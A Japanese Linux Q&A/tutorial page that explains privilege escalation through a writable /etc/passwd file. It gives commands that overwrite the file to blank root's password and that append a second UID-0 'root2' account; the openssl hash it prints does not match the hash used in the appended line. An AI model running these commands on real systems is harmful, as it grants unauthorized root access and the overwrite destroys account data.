GNU/Linux >> Linux の 問題 >  >> Linux

passwd ファイルを使用した権限昇格

パスワードは通常 /etc/shadow に保存されます 、ユーザーが読み取ることはできません。ただし、歴史的に、それらは誰でも読めるファイル /etc/passwd に保存されていました。 すべてのアカウント情報とともに。下位互換性のために、パスワード ハッシュが /etc/passwd の 2 列目に存在する場合 、 /etc/shadow のものより優先されます .

歴史的に、/etc/passwd の空の 2 番目のフィールド アカウントにパスワードがないことを意味します。つまり、誰でもパスワードなしでログインできます (ゲスト アカウントに使用)。これは時々無効になります。パスワードなしのアカウントが無効になっている場合は、選択したパスワードのハッシュを入れることができます。 crypt を使用できます perl -le 'print crypt("foo", "aa")' などのパスワード ハッシュを生成する関数 パスワードを foo に設定するには .

/etc/passwd にしか追加できない場合でも、ルート アクセスを取得することは可能です。 内容を上書きしないでください。これは、名前が異なる限り、同じユーザーに対して複数のエントリを持つことができるためです。ユーザーは、名前ではなく ID で識別されます。root アカウントの定義機能は、その名前ではなく、のユーザー ID は 0 です。そのため、別の名前、選択したパスワード、およびユーザー ID 0 を持つアカウントを宣言する行を追加することで、代替ルート アカウントを作成できます。


次のように入力してください:

echo root::0:0:root:/root:/bin/bash > /etc/passwd

su

(x を削除 root はもうパスワードを必要としないことを意味します。 sed を使用できます echo の代わりにコマンド root シェルを取得するにはこれで十分です)


この非破壊的な方法を使用できます:

# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE

# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd

# to switch to a root2
su root2
Password: mrcake 

Linux
  1. MySQLルートパスワードをリセットする

  2. Linux で SSH を使用して root として自動コマンド実行を許可する

  3. sudo と .profile/.bashrc は簡単な権限昇格を有効にしますか?

  1. root パスワードの回復

  2. Linux でパスワードデータベースファイル (/etc/passwd) を変更することはできますか?

  3. root パスワードを使用せずにコマンドラインから MySQL に接続しますか?

  1. lsの使用を開始する

  2. ルートパスワードを変更するにはどうすればよいですか?

  3. expect ユーティリティを使用して sftp ファイル転送を自動化する方法